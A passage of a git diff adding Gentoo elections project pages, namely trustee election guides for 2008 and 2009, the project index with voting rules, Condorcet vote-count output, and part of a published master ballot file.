+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="antarus"/></ti>
+  <ti>antarus</ti>
+  <ti><mail link="wltjr"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_03e880e6515697b87ac96fb45d532e1b.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_4b8d0341253902a3f20e1fdcdb0adf1f.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+</table>
+
+<p>
+If you think you see a mistake in any of this tables, please contact the election officials.
+</p>
+
+</body>
+</section>
+<section>
+<title>Voters</title>
+<body>
+
+<p>
+People who are eligible to vote in this election were:
+</p>
+
+<ul>
+  <li>Everybody who ever voted in a trustee election</li>
+  <li>
+    Everybody who was a Gentoo Developer during last 365 days dated from the
+    close of election poll.
+  </li>
+</ul>
+
+<p>
+We have prepared lists of <uri
+link="http://dev.gentoo.org/~jmbsvicetto/trustees-election/eligible-active-devs-sorted">all
+eligible current Gentoo Developers</uri> and <uri
+link="http://dev.gentoo.org/~jmbsvicetto/trustees-election/gentoo-foundation-members">all
+eligible Gentoo Foundation members</uri>. If you can't find your name on any of
+those lists and think you should be eligible to vote, please contact the election
+officials.
+</p>
+
+<p>
+Those lists are still considered provisional. We are currently trying to
+complete them, which is problematic because <uri
+link="http://dev.gentoo.org/~jmbsvicetto/trustees-election/missing-join-date">some
+Gentoo Developers</uri> lack a join date in their LDAP record. If you are one of
+those people, please contact the election officials with your Gentoo join date.
+</p>
+
+</body>
+</section>
+<section>
+<title>How do I cast my vote for this election?</title>
+<body>
+
+<p>
+Eligible current Gentoo devs should login to dev.gentoo.org and run the
+following commands, in the order specified.
+</p>
+
+<ul>
+  <li>
+  <c>votify --new trustees2008</c> - This creates a new ballot in your
+  homedir.
+  </li>
+  <li>Edit the <c>.ballot-trustees2008</c> file and rank the candidates.</li>
+  <li>
+  Once you're sure, run <c>votify --verify trustees2008</c> to check the
+  validity of the ballot.
+  </li>
+  <li>
+  If that goes through fine, the next and final step is to submit your vote
+  using <c>votify --submit trustees2008</c>
+  </li>
+  <li>
+  In case you're stuck, detailed help can be accessed by using <c>votify
+  --help</c> or feel free to drop by #gentoo-elections on IRC. If you think you
+  are eligible to vote, but cannot, please contact one of the officials.
+  </li>
+  <li>
+  Grab a beer, have fun, sit back and enjoy the show..till we announce the
+  results ;)
+  </li>
+</ul>
+
+<p>
+The remaining Foundation members (ex-devs), should email their ballot to the 3
+election officials, signing the mail with their gpg key:
+</p>
+<ul>
+  <li><mail link="rane" /></li>
+  <li><mail link="jmbsvicetto" /></li>
+  <li><mail link="rich0" /></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/elections/foundation-2009.xml b/xml/htdocs/proj/en/elections/foundation-2009.xml
new file mode 100644
index 00000000..720e5464
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/foundation-2009.xml
@@ -0,0 +1,324 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/foundation-2009.xml,v 1.28 2009/06/01 04:11:33 jmbsvicetto Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/elections/foundation-2009.xml">
+<title>Gentoo Foundation Board of Trustees Election, February 2009</title>
+
+<author title="Official">
+  <mail link="rane"/>
+</author>
+<author title="Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Official">
+  <mail link="antarus"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<abstract>
+This page contains all the information about upcoming elections for the Gentoo
+Board of Trustees.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>9</version>
+<date>2009-06-01</date>
+
+<chapter>
+<title>Election</title>
+<section>
+<title>Officials</title>
+<body>
+
+<p>
+The purpose of this election is to choose two members for the Gentoo Foundation
+Board of Trustees. More information about their roles and duties can be found in
+the <uri link="http://www.gentoo.org/foundation/en/">Gentoo Foundation
+Charter</uri>. Archives of the <uri
+link="http://archives.gentoo.org/gentoo-nfp/date.xml">gentoo-nfp</uri> mailing
+list contain most recent information about progress of this election. If you
+have any questions or suggestions, please contact the election officials.
+</p>
+
+<p>
+Officials running this election are <mail link="rane"/>, <mail
+link="jmbsvicetto"/> and <mail link="antarus"/>. The infrastructure contact for
+this election is <mail link="fox2mike"/>.
+</p>
+
+<p>
+You can contact officials via <c>elections@gentoo.org</c> e-mail or visit
+<c>#gentoo-trustees</c> or <c>#gentoo-elections</c> on <uri
+link="http://freenode.net">Freenode</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Time table</title>
+<body>
+
+<p>
+Four weeks for nominations and four weeks for voting:
+</p>
+
+<ul>
+  <li>Nominations: 2009-02-01 00:00 UTC to 2009-02-28 23:59 UTC</li>
+  <li>Voting 2009-03-02 00:00 UTC to 2009-03-29 23:59 UTC</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Winners</title>
+<body>
+
+<p>
+We're pleased to present you the ranked list of all elected Gentoo Foundation
+Trustees:
+</p>
+
+<ul>
+  <li>robbat2</li>
+  <li>quantumsummers</li>
+</ul>
+
+<p>
+We published the <uri link="/proj/en/elections/trustees/2009/master-trustees2009.txt">
+master ballot file</uri>. This file contains all submitted ballots. Each of this
+ballots can be identified using a confirmation ID. Every person who voted in
+this election was mailed their ID by one of election officials. If you haven't
+received your ID, please contact one of election officials to provide you with
+that information. Using this ID and master ballot file people who voted can
+verify that their votes were included during counting votes.
+</p>
+
+<p>
+We also published the full <uri
+link="/proj/en/elections/trustees/2009/trustees2009-results.txt">countify script
+output</uri> so you can check how the whole vote counting was done.
+</p>
+
+</body>
+</section>
+<section>
+<title>Election  turnout</title>
+<body>
+
+<p>
+In this section we present data showing how many of eligible persons have voted
+in this election.
+</p>
+
+<ul>
+  <li>Total voters: 208</li>
+  <li>Submitted ballots: 80</li>
+  <li>Current turnout: 38.46%</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Nominees</title>
+<body>
+
+<p>
+Rules:
+</p>
+
+<ul>
+  <li>Anyone may nominate</li>
+  <li>Nominations should happen on the <c>gentoo-nfp</c> mailing list</li>
+  <li>
+    To run in the election, you have to accept your nomination on the same
+    mailing list
+  </li>
+  <li>
+    Only people who were members of the Gentoo Foundation at the recording date
+    (set to 2009-01-11 by Trustees) are eligible to run. <mail
+    link="quantumsummers"/> prepared the <uri
+    link="http://www.gentoo.org/foundation/en/20090111_members_list.xml">list of
+    all eligible members</uri>.
+  </li>
+</ul>
+
+<p>
+Table of nominees:
+</p>
+
+<table>
+<tr>
+  <th>Nominee</th>
+  <th>Status</th>
+  <th>Links</th>
+</tr>
+<tr>
+  <ti><mail link="musikc"/></ti>
+  <ti>Accepted</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="patrick"/></ti>
+  <ti>Accepted</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="quantumsummers"/></ti>
+  <ti>Accepted</ti>
+  <ti>
+    <uri
+    link="http://dev.gentoo.org/~quantumsummers/manifesto_2009.html">Quantumsummers
+    Gentoo Foundation Manifesto
+    </uri>
+  </ti>
+</tr>
+<tr>
+  <ti><mail link="robbat2"/></ti>
+  <ti>Accepted</ti>
+  <ti>
+    <uri
+    link="http://dev.gentoo.org/~robbat2/robbat2-foundation2009-manifesto.txt">Robbat2
+    Gentoo Foundation Manifesto
+    </uri>
+  </ti>
+</tr>
+<tr>
+  <ti><mail link="dertobi123"/></ti>
+  <ti>No response</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="rich0"/></ti>
+  <ti>No response</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="solar"/></ti>
+  <ti>No response</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="vapier"/></ti>
+  <ti>No response</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="amne"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="beandog"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="ciaranm"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="dmwaters"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="fmccor"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="grobian"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="jmbsvicetto"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="neddyseagoon"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><mail link="rane"/></ti>
+  <ti>Declined</ti>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+If you think you see a mistake in this table, please contact the election
+officials.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Voters</title>
+<body>
+
+<p>
+People who are eligible to vote in this election are all current Gentoo
+Foundation members.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>How do I cast my vote for this election?</title>
+<body>
+
+<p>
+After polls are open, Eligible current Gentoo developers should login to
+dev.gentoo.org and run the following commands, in the order specified.
+</p>
+
+<ul>
+  <li>
+  <c>votify --new trustees2009</c> - This creates a new ballot in your
+  homedir.
+  </li>
+  <li>Edit the <c>.ballot-trustees2009</c> file and rank the candidates.</li>
+  <li>
+    Once you're sure, run <c>votify --verify trustees2009</c> to check the
+    validity of the ballot.
+  </li>
+  <li>
+    If that goes through fine, the next and final step is to submit your vote
+    using <c>votify --submit trustees2009</c>
+  </li>
+  <li>
+    In case you're stuck, detailed help can be accessed by using <c>votify
+    --help</c> or feel free to drop by #gentoo-elections on IRC. If you think
+    you are eligible to vote, but cannot, please contact one of the officials.
+  </li>
+  <li>
+    Grab a beer, have fun, sit back and enjoy the show..till we announce the
+    results ;)
+  </li>
+</ul>
+
+<p>
+The remaining Foundation members, should email their ballot to the
+election officials, signing the mail with their gpg key:
+</p>
+
+<ul>
+  <li><c>elections@gentoo.org</c></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/elections/index.xml b/xml/htdocs/proj/en/elections/index.xml
new file mode 100644
index 00000000..4e4fd90d
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/index.xml
@@ -0,0 +1,214 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>elections</name>
+<longname>Gentoo Elections</longname>
+
+<description>
+Gentoo Elections Project gathers all the information necessary to conduct
+elections in Gentoo.
+</description>
+
+<longdescription>
+<p>
+The goal of Gentoo Elections project is to gather all the people participating
+in the organization of elections in Gentoo together as well as providing the
+project with procedures, documentation and scripts to run those elections.
+</p>
+</longdescription>
+
+<dev role="Member">fox2mike</dev>
+<dev role="Member">jmbsvicetto</dev>
+<dev role="Member">neddyseagoon</dev>
+<dev role="Member">rane</dev>
+<dev role="Member">robbat2</dev>
+
+<extrachapter position="bottom">
+<title>Elections organization</title>
+<section>
+<title>Election Officials</title>
+<body>
+
+<p>
+To ease the process of finding officials to run each election, we decided to
+create a list of people volunteering to serve as officials in the upcoming
+elections as well as their credentials and basic information about them.
+Officials for each election may (but don't necessarily have to) be chosen from
+among those people.
+</p>
+
+<table>
+<tr>
+  <th>nickname</th>
+  <th>projects</th>
+  <th>organized elections</th>
+</tr>
+<tr>
+  <ti>rane</ti>
+  <ti>Documentation and Developer Relations</ti>
+  <ti>Trustees 2008, Council 2008, Trustees 2009, Council 2009</ti>
+</tr>
+<tr>
+  <ti>jmbsvicetto</ti>
+  <ti>Forums, User Relations, Developer Relations, KDE</ti>
+  <ti>Trustees 2008, Council 2008, Council 2008b, Trustees 2009, Council 200906, Council 200912</ti>
+</tr>
+<tr>
+  <ti>neddyseagoon</ti>
+  <ti>Forums, Foundation President, #gentoo-ops</ti>
+  <ti>Council 200906</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Gentoo Foundation Board of Trustees Elections</title>
+<body>
+
+<p>
+Election rules, based on <uri link="/foundation/en/">Gentoo Foundation
+Bylaws</uri>:
+</p>
+
+<ul>
+  <li>Gentoo Board of Trustees is composed of five elected members</li>
+  <li>Elections happen every year starting in February</li>
+  <li>
+    There should be at least three election officials plus at least one person
+    assigned from Gentoo Infrastructure project to handle their side of the
+    election. Officials are allowed to vote in the election but they aren't
+    allowed to run in it. They are selected by the current Board of Trustees.
+  </li>
+  <li>
+    There's one month for nominations and one month for voting. In special cases
+    current Board of Trustees may decide to shorten that period. Anyone can
+    nominate.
+  </li>
+  <li>
+    All Gentoo Foundation members may vote but only members of age above 18 are
+    allowed to run (legal requirement). To run in the election, a person has to
+    be nominated on the <c>gentoo-nfp</c> mailing list and personally accept
+    that nomination on the same list.
+  </li>
+  <li>
+    Members who are active Gentoo developers vote using <c>votify</c> script on
+    <c>dev.gentoo.org</c>.
+  </li>
+  <li>
+    Members who aren't active Gentoo developers should mail their GPG-signed
+    ballot files to election officials who will verify authenticity of those and
+    pass them to infra so they are taken into account while counting votes.
+    Special care should be taken to ensure the ballot is signed by the gpg key
+    in the Foundation records.
+  </li>
+  <li>
+    After voting period is over, all election officials verify results provided
+    by Infrastructure project member assigned to the election and then post them
+    to the <c>gentoo-nfp</c> mailing list.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Gentoo Council Elections</title>
+<body>
+
+<p>
+Election rules (based on <uri link="/proj/en/glep/glep-0039.html">GLEP 39</uri>):
+</p>
+
+<ul>
+  <li>Council elections generally happen once a year</li>
+  <li>The council is composed of seven elected members</li>
+  <li>Nominations are allowed for 15 days.</li>
+  <li>Only Gentoo developers may be nominated</li>
+  <li>Anyone can nominate (nominating yourself is OK)</li>
+  <li>Nominees must accept their nomination before voting begins</li>
+  <li>Voting is opened for 15 days.</li>
+  <li>Only Gentoo developers that have joined the project before nomination starts may vote</li>
+  <li>Condorcet method of voting is used</li>
+</ul>
+
+<p>
+There should be at least three officials for this election plus one Gentoo
+Infrastructure project member assigned to it to handle their side of the
+process. Officials are allowed to vote in the election but aren't allowed to run
+in it. Nominating and accepting nominations should happen on the
+<c>gentoo-dev</c> mailing list.
+</p>
+
+</body>
+</section>
+<section>
+<title>Condorcet method of voting</title>
+<body>
+
+<p>
+For both Foundation and Council elections, <uri
+link="http://en.wikipedia.org/wiki/Condorcet_method">Condorcet method of
+voting</uri> is used to count votes.
+</p>
+
+<p>
+To cast votes we use program names <c>votify</c> which is by default installed
+on <c>dev.gentoo.org</c>.
+</p>
+
+<p>
+Instruction on how to use <c>votify</c> to cast a vote:
+</p>
+
+<ul>
+  <li>If you're eligible to vote in that election, log in to <c>dev.gentoo.org</c></li>
+  <li>Type <c>votify --new election-name</c> to create a new ballot file</li>
+  <li>
+    Edit <path>.ballot-election-name</path> file in your home directory and rank
+    the candidates
+  </li>
+  <li>
+    Once you're finished, use <c>votify --verify election-name</c> command to
+    verify validity of your ballot file
+  </li>
+  <li>
+    If everything is okay, use <c>votify --submit election</c> your vote.
+  </li>
+  <li>
+    If you run into problems, you can either work them out yourself using
+    <c>votify --help</c> or contact election officials and ask them for help
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verification and publication of results</title>
+<body>
+
+<p>
+Verification and publication of results (ID sending, master ballot verification
+by officials, so on). Also all scripts should be posted and explained here.
+</p>
+
+</body>
+</section>
+<section>
+<title>Election archives</title>
+<body>
+
+<p>
+Links to Foundation archives.
+</p>
+
+<p>
+<uri link="council/">Council archives</uri>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/elections/trustees/2008/condorcet-trustees2008.txt b/xml/htdocs/proj/en/elections/trustees/2008/condorcet-trustees2008.txt
new file mode 100644
index 00000000..0df225e4
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2008/condorcet-trustees2008.txt
@@ -0,0 +1,203 @@
+# countify --rank trustees2008
+NeddySeagoon
+fmccor
+jakub
+je_fro
+patrick
+tgall
+tsunam
+wltjr
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    ***     47     75     64     77     46     46     56
+     fmccor     37    ***     73     62     80     46     44     51
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     37     37     72     55     69    ***     32     41
+     tsunam     40     43     63     64     72     49    ***     52
+      wltjr     29     33     64     52     69     39     35    ***
+
+option fmccor is eliminated (NeddySeagoon trans-defeats fmccor, and
+fmccor does not trans-defeat NeddySeagoon)
+option jakub is eliminated (NeddySeagoon trans-defeats jakub, and jakub
+does not trans-defeat NeddySeagoon)
+option je_fro is eliminated (NeddySeagoon trans-defeats je_fro, and
+je_fro does not trans-defeat NeddySeagoon)
+option patrick is eliminated (NeddySeagoon trans-defeats patrick, and
+patrick does not trans-defeat NeddySeagoon)
+option tgall is eliminated (NeddySeagoon trans-defeats tgall, and tgall
+does not trans-defeat NeddySeagoon)
+option tsunam is eliminated (NeddySeagoon trans-defeats tsunam, and
+tsunam does not trans-defeat NeddySeagoon)
+option wltjr is eliminated (NeddySeagoon trans-defeats wltjr, and wltjr
+does not trans-defeat NeddySeagoon)
+the Schwartz set is {NeddySeagoon}
+
+result: option NeddySeagoon wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     37    ***     73     62     80     46     44     51
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     37     37     72     55     69    ***     32     41
+     tsunam     40     43     63     64     72     49    ***     52
+      wltjr     29     33     64     52     69     39     35    ***
+
+option jakub is eliminated (fmccor trans-defeats jakub, and jakub does
+not trans-defeat fmccor)
+option je_fro is eliminated (fmccor trans-defeats je_fro, and je_fro
+does not trans-defeat fmccor)
+option patrick is eliminated (fmccor trans-defeats patrick, and patrick
+does not trans-defeat fmccor)
+option tgall is eliminated (fmccor trans-defeats tgall, and tgall does
+not trans-defeat fmccor)
+option tsunam is eliminated (fmccor trans-defeats tsunam, and tsunam
+does not trans-defeat fmccor)
+option wltjr is eliminated (fmccor trans-defeats wltjr, and wltjr does
+not trans-defeat fmccor)
+the Schwartz set is {fmccor}
+
+result: option fmccor wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     37     37     72     55     69    ***     32     41
+     tsunam     40     43     63     64     72     49    ***     52
+      wltjr     29     33     64     52     69     39     35    ***
+
+option jakub is eliminated (je_fro trans-defeats jakub, and jakub does
+not trans-defeat je_fro)
+option je_fro is eliminated (tgall trans-defeats je_fro, and je_fro does
+not trans-defeat tgall)
+option patrick is eliminated (jakub trans-defeats patrick, and patrick
+does not trans-defeat jakub)
+option tgall is eliminated (tsunam trans-defeats tgall, and tgall does
+not trans-defeat tsunam)
+option wltjr is eliminated (tgall trans-defeats wltjr, and wltjr does
+not trans-defeat tgall)
+the Schwartz set is {tsunam}
+
+result: option tsunam wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     37     37     72     55     69    ***     32     41
+     tsunam     -1     -1     -1     -1     -1     -1    +++     -1
+      wltjr     29     33     64     52     69     39     35    ***
+
+option jakub is eliminated (je_fro trans-defeats jakub, and jakub does
+not trans-defeat je_fro)
+option je_fro is eliminated (tgall trans-defeats je_fro, and je_fro does
+not trans-defeat tgall)
+option patrick is eliminated (jakub trans-defeats patrick, and patrick
+does not trans-defeat jakub)
+option wltjr is eliminated (tgall trans-defeats wltjr, and wltjr does
+not trans-defeat tgall)
+the Schwartz set is {tgall}
+
+result: option tgall wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     -1     -1     -1     -1     -1    +++     -1     -1
+     tsunam     -1     -1     -1     -1     -1     -1    +++     -1
+      wltjr     29     33     64     52     69     39     35    ***
+
+option jakub is eliminated (je_fro trans-defeats jakub, and jakub does
+not trans-defeat je_fro)
+option je_fro is eliminated (wltjr trans-defeats je_fro, and je_fro does
+not trans-defeat wltjr)
+option patrick is eliminated (jakub trans-defeats patrick, and patrick
+does not trans-defeat jakub)
+the Schwartz set is {wltjr}
+
+result: option wltjr wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     27     21     59    ***     61     19     27     32
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     -1     -1     -1     -1     -1    +++     -1     -1
+     tsunam     -1     -1     -1     -1     -1     -1    +++     -1
+      wltjr     -1     -1     -1     -1     -1     -1     -1    +++
+
+option jakub is eliminated (je_fro trans-defeats jakub, and jakub does
+not trans-defeat je_fro)
+option patrick is eliminated (jakub trans-defeats patrick, and patrick
+does not trans-defeat jakub)
+the Schwartz set is {je_fro}
+
+result: option je_fro wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     24     21    ***     33     38     25     28     30
+     je_fro     -1     -1     -1    +++     -1     -1     -1     -1
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     -1     -1     -1     -1     -1    +++     -1     -1
+     tsunam     -1     -1     -1     -1     -1     -1    +++     -1
+      wltjr     -1     -1     -1     -1     -1     -1     -1    +++
+
+option patrick is eliminated (jakub trans-defeats patrick, and patrick
+does not trans-defeat jakub)
+the Schwartz set is {jakub}
+
+result: option jakub wins
+
+*** Running another pass to find the next winners... ***
+
+             Neddy  fmcco  jakub  je_fr  patri  tgall  tsuna  wltjr
+NeddySeagoon    +++     -1     -1     -1     -1     -1     -1     -1
+     fmccor     -1    +++     -1     -1     -1     -1     -1     -1
+      jakub     -1     -1    +++     -1     -1     -1     -1     -1
+     je_fro     -1     -1     -1    +++     -1     -1     -1     -1
+    patrick     17     14     36     27    ***     23     20     22
+      tgall     -1     -1     -1     -1     -1    +++     -1     -1
+     tsunam     -1     -1     -1     -1     -1     -1    +++     -1
+      wltjr     -1     -1     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {patrick}
+
+result: option patrick wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+NeddySeagoon
+fmccor
+tsunam
+tgall
+wltjr
+je_fro
+jakub
+patrick
diff --git a/xml/htdocs/proj/en/elections/trustees/2008/master-trustees2008.txt b/xml/htdocs/proj/en/elections/trustees/2008/master-trustees2008.txt
new file mode 100644
index 00000000..9a88c620
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/trustees/2008/master-trustees2008.txt
@@ -0,0 +1,693 @@
+--------- confirmation 0489 ---------
+fmccor
+tgall
+je_fro
+NeddySeagoon
+jakub
+tsunam
+wltjr
+patrick
+--------- confirmation 30f7 ---------
+tgall
+fmccor
+je_fro
+NeddySeagoon
+wltjr
+tsunam
+jakub
+patrick
+--------- confirmation 31c1 ---------
+patrick
+jakub
+NeddySeagoon
+tsunam
+fmccor
+tgall
+je_fro
+wltjr
+--------- confirmation 34b3 ---------
+tsunam
+NeddySeagoon
+tgall fmccor je_fro patrick wltjr
+jakub
+--------- confirmation 379f ---------
+NeddySeagoon tsunam
+je_fro
+wltjr
+tgall
+fmccor patrick jakub
+--------- confirmation 38c4 ---------
+tgall jakub je_fro patrick fmccor NeddySeagoon tsunam wltjr
+--------- confirmation 3d37 ---------
+jakub tsunam
+fmccor je_fro
+NeddySeagoon patrick tgall
+wltjr
+--------- confirmation 3dec ---------
+tsunam fmccor
+tgall je_fro
+wltjr jakub
+NeddySeagoon
+patrick
+--------- confirmation 3e1f ---------
+tgall
+NeddySeagoon
+fmccor
+je_fro
+patrick
+tsunam
+wltjr
+jakub
+--------- confirmation 3f0e ---------
+jakub
+patrick
+tsunam
+tgall
+fmccor
+NeddySeagoon
+je_fro
+wltjr
+--------- confirmation 42d4 ---------
+tsunam wltjr
+tgall
+je_fro fmccor
+jakub patrick
+NeddySeagoon
+--------- confirmation 446e ---------
+jakub fmccor je_fro patrick tgall wltjr NeddySeagoon tsunam
+--------- confirmation 4475 ---------
+NeddySeagoon
+tsunam fmccor
+wltjr je_fro tgall
+jakub patrick
+--------- confirmation 463b ---------
+tgall
+tsunam
+je_fro
+fmccor
+wltjr
+NeddySeagoon
+patrick
+jakub
+--------- confirmation 4a24 ---------
+wltjr NeddySeagoon je_fro tgall
+tsunam patrick fmccor jakub
+--------- confirmation 077d ---------
+NeddySeagoon
+tsunam
+fmccor
+wltjr
+tgall
+je_fro patrick
+jakub
+--------- confirmation 5283 ---------
+tsunam
+tgall
+fmccor
+NeddySeagoon
+je_fro
+wltjr
+patrick
+jakub
+--------- confirmation 534a ---------
+tsunam patrick jakub NeddySeagoon fmccor
+je_fro tgall
+wltjr
+--------- confirmation 5e06 ---------
+tsunam tgall wltjr fmccor NeddySeagoon
+je_fro
+jakub patrick
+--------- confirmation 5f10 ---------
+fmccor
+NeddySeagoon
+wltjr
+tgall tsunam
+jakub
+je_fro patrick
+--------- confirmation 5fdd ---------
+patrick
+tsunam jakub
+je_fro fmccor
+tgall wltjr NeddySeagoon
+--------- confirmation 63c4 ---------
+fmccor je_fro
+jakub
+patrick NeddySeagoon
+tgall wltjr tsunam
+--------- confirmation 6408 ---------
+NeddySeagoon
+wltjr tgall
+je_fro
+fmccor
+tsunam patrick
+jakub
+--------- confirmation 697e ---------
+tgall
+je_fro
+NeddySeagoon
+tsunam
+fmccor
+patrick
+jakub
+wltjr
+--------- confirmation 69ac ---------
+wltjr fmccor
+tsunam NeddySeagoon jakub tgall patrick je_fro
+--------- confirmation 6ae7 ---------
+fmccor
+tsunam
+tgall NeddySeagoon patrick je_fro
+jakub
+wltjr
+--------- confirmation 0ace ---------
+tgall
+tsunam
+NeddySeagoon
+wltjr
+fmccor
+je_fro
+patrick
+jakub
+--------- confirmation 6dea ---------
+jakub patrick
+tgall
+je_fro
+NeddySeagoon
+wltjr
+fmccor
+tsunam
+--------- confirmation 7027 ---------
+tgall je_fro
+wltjr
+NeddySeagoon
+jakub
+fmccor
+tsunam
+patrick
+--------- confirmation 71dd ---------
+tsunam
+fmccor
+jakub
+wltjr
+patrick
+je_fro
+tgall
+NeddySeagoon
+--------- confirmation 0b81 ---------
+NeddySeagoon
+fmccor wltjr jakub
+patrick
+tgall je_fro tsunam
+--------- confirmation 734b ---------
+tsunam
+wltjr
+fmccor
+patrick
+je_fro
+tgall NeddySeagoon
+jakub
+--------- confirmation 7451 ---------
+tsunam
+NeddySeagoon
+je_fro
+wltjr
+fmccor
+tgall
+patrick
+jakub
+--------- confirmation 756d ---------
+patrick wltjr je_fro fmccor
+NeddySeagoon
+tsunam jakub tgall
+--------- confirmation 76c6 ---------
+jakub
+NeddySeagoon
+wltjr
+tgall
+fmccor
+je_fro
+tsunam
+patrick
+--------- confirmation 77f4 ---------
+NeddySeagoon fmccor wltjr tgall je_fro
+patrick tsunam jakub
+--------- confirmation 7ba0 ---------
+NeddySeagoon wltjr fmccor tgall
+jakub patrick tsunam je_fro
+--------- confirmation 7c2e ---------
+tsunam
+je_fro
+tgall
+NeddySeagoon
+fmccor
+patrick
+wltjr
+jakub
+--------- confirmation 802d ---------
+fmccor
+tgall
+NeddySeagoon
+patrick
+jakub
+wltjr
+tsunam
+je_fro
+--------- confirmation 8164 ---------
+tsunam
+NeddySeagoon
+tgall
+je_fro
+wltjr
+--------- confirmation 8443 ---------
+tsunam
+tgall
+wltjr
+je_fro
+NeddySeagoon
+fmccor
+jakub patrick
+--------- confirmation 858b ---------
+fmccor
+tsunam
+wltjr
+NeddySeagoon
+patrick
+je_fro
+tgall
+jakub
+--------- confirmation 858c ---------
+jakub
+patrick
+NeddySeagoon wltjr
+je_fro tsunam tgall fmccor
+--------- confirmation 8685 ---------
+NeddySeagoon
